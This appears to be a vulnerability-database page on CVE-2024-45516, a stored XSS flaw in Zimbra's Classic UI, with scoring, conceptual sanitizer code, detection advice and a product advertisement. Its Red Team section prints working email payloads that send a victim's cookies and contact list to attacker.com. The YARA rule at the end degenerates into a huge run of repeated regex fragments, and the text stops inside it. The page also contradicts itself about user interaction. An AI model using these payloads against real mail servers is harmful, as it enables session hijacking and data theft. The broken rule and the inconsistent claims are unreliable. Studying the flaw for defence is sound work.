SOON

CVE-2024-45516

CVE-2024-45516 Cross-Site Scripting in Zimbra

 📅 PUBLISHED: 2025-05-14 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC 

[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix

[ DEFENSE PATCH ↓ ]

💣 PoC: None

👁️

🎯 EPSS: 0.41%

👁️

Country: USA License: Freemium

VULNERABLE: version not auto-detected — verify your deployed version locally

CVSS SEVERITY SCALE

9.0–10.0 CRITICAL

7.0–8.9 HIGH

4.0–6.9 MEDIUM

0.1–3.9 LOW

0.0 NONE

SOON

PENDING NVD

INTEL SOURCES NVD CVEProject OSV.dev EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45516 is a stored Cross-Site Scripting (XSS) vulnerability in the Zimbra Collaboration Suite (ZCS) Classic UI. An attacker can send a specially crafted email containing malicious HTML, including malformed <img> tags with embedded JavaScript. When a victim views this email in the Classic UI, the script executes within their session, potentially allowing the attacker to steal session cookies, perform actions on behalf of the user, or exfiltrate sensitive data. The vulnerability stems from insufficient sanitization of HTML content in email rendering. No user interaction beyond viewing the email is required. The CVSS score is 0.0 in the NVD data, but based on the description, a more realistic score is 6.3 (Medium) due to the need for user interaction (viewing the email) and the potential for significant impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian

›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.

›Shodan dorks — ready-made queries to find exposed vulnerable systems

›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)

›pending_fields — know exactly which of 7 fields NVD hasn't processed yet

›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits

PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

[ FROM €19/MO ]

Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a server-side application vulnerability in the Zimbra Collaboration Suite, a self-hosted email and collaboration platform.

CVSS Breakdown & Threat Level

Attack Vector (AV): Network (N) - The attack is carried out over the network via email.
Attack Complexity (AC): Low (L) - The attacker only needs to send a crafted email.
Privileges Required (PR): None (N) - No authentication is required to send the email.
User Interaction (UI): Required (R) - The victim must view the email in the Classic UI.
Scope (S): Unchanged (U) - The vulnerability affects the same security authority (the user's session).
Confidentiality (C): High (H) - An attacker can steal session cookies and access sensitive data.
Integrity (I): Low (L) - The attacker can modify the user's session or perform actions on their behalf.
Availability (A): Low (L) - The attacker could potentially disrupt the user's session.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L Base Score: 6.3 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the potential impact on confidentiality is high, making it a significant threat to organizations using Zimbra.

Deep Dive & Mechanics

The vulnerability lies in the Zimbra Classic UI's email rendering engine. When an email is displayed, the application parses HTML content to render it visually. The sanitization logic fails to properly handle malformed <img> tags. Specifically, an attacker can inject JavaScript code within the src attribute or other attributes of an <img> tag that is not properly closed or formatted.

For example, a malformed tag like <img src=x onerror=alert(1)> would normally be sanitized. However, the vulnerability allows for bypasses using techniques such as:

Using unclosed tags: <img src=x onerror=alert(1)
Using unusual attribute quoting: <img src="x"onerror=alert(1)>
Using HTML entity encoding within the tag: <img src=x onerror=alert(1)>

When the browser parses this malformed HTML, it executes the JavaScript in the context of the Zimbra webmail domain. This allows the attacker to:

Steal session cookies (document.cookie).
Perform actions on behalf of the user (e.g., send emails, delete messages).
Redirect the user to a phishing page.
Exfiltrate the user's contacts or other data.

The vulnerability is stored in the email itself, meaning it persists in the user's mailbox and can be triggered repeatedly.

Vulnerable vs. Patched Code

The vulnerable code is in the HTML sanitization library used by Zimbra Classic UI. The exact code is proprietary, but the fix involves improving the HTML parser to properly handle malformed tags and escape JavaScript event handlers.

Vulnerable Code (Conceptual):

// Simplified vulnerable sanitization
function sanitizeHTML(html) {
    // This regex fails to catch malformed tags
    return html.replace(/<img[^>]*>/gi, function(match) {
        // Only checks for 'onerror' in a simple way
        if (match.includes('onerror')) {
            return match.replace(/onerror="[^"]*"/gi, '');
        }
        return match;
    });
}

Patched Code (Conceptual):

// Patched sanitization using a robust HTML parser
function sanitizeHTML(html) {
    // Use a DOM parser to safely parse and sanitize
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const images = doc.querySelectorAll('img');
    images.forEach(img => {
        // Remove all event handlers
        img.removeAttribute('onerror');
        img.removeAttribute('onload');
        img.removeAttribute('onclick');
        // ... remove all other event handlers
        // Validate src attribute
        const src = img.getAttribute('src');
        if (src && !src.startsWith('http') && !src.startsWith('data:')) {
            img.removeAttribute('src');
        }
    });
    return doc.body.innerHTML;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

Install a vulnerable Zimbra instance (e.g., ZCS 10.0.11).
Set up a mail client (e.g., Thunderbird) to send emails.
Set up a listener to capture exfiltrated data (e.g., a simple HTTP server).

Exploit Payload:

<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Steps:

Send an email to the victim with the payload in the HTML body.
The victim views the email in the Zimbra Classic UI.
The JavaScript executes, sending the victim's session cookie to the attacker's server.
The attacker uses the stolen cookie to hijack the session.

Advanced Payload (Stealthy):

<img src=x onerror="
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/service/home/~/Contacts?fmt=csv', true);
    xhr.onload = function() {
        fetch('http://attacker.com/exfil', {method: 'POST', body: xhr.responseText});
    };
    xhr.send();
">

Blue Team (Detection & Response)

Detection:

Monitor for emails containing suspicious HTML tags, especially <img> tags with event handlers like onerror, onload, onclick.
Use email security gateways to scan for XSS payloads.
Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

If a user reports a suspicious email, quarantine it immediately.
Check web server logs for requests to unknown external domains from the Zimbra web interface.
Invalidate all active sessions for affected users.
Apply the patch as soon as possible.

Indicators of Compromise (IOCs)

Email Headers: Emails containing HTML with malformed <img> tags.
Network Traffic: Outbound HTTP/HTTPS requests from the Zimbra server to unknown external IPs or domains, especially containing document.cookie or other sensitive data.
Web Server Logs: Unusual GET or POST requests to the Zimbra web interface with parameters containing base64-encoded data or suspicious strings.
File System: Temporary files created by the XSS payload (unlikely, but possible).
Processes: Unusual child processes spawned by the web server (e.g., curl, wget).

Detection Engineering

YARA Rule

rule CVE_2024_45516_XSS_Zimbra {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-45516 in Zimbra emails"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45516"
    strings:
        $img_onerror = /<img[^>]*\sonerror\s*=/i
        $img_onload = /<img[^>]*\sonload\s*=/i
        $img_onclick = /<img[^>]*\sonclick\s*=/i
        $malformed_img = /<img\s+[^>]*\s+[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*[^>]*\s*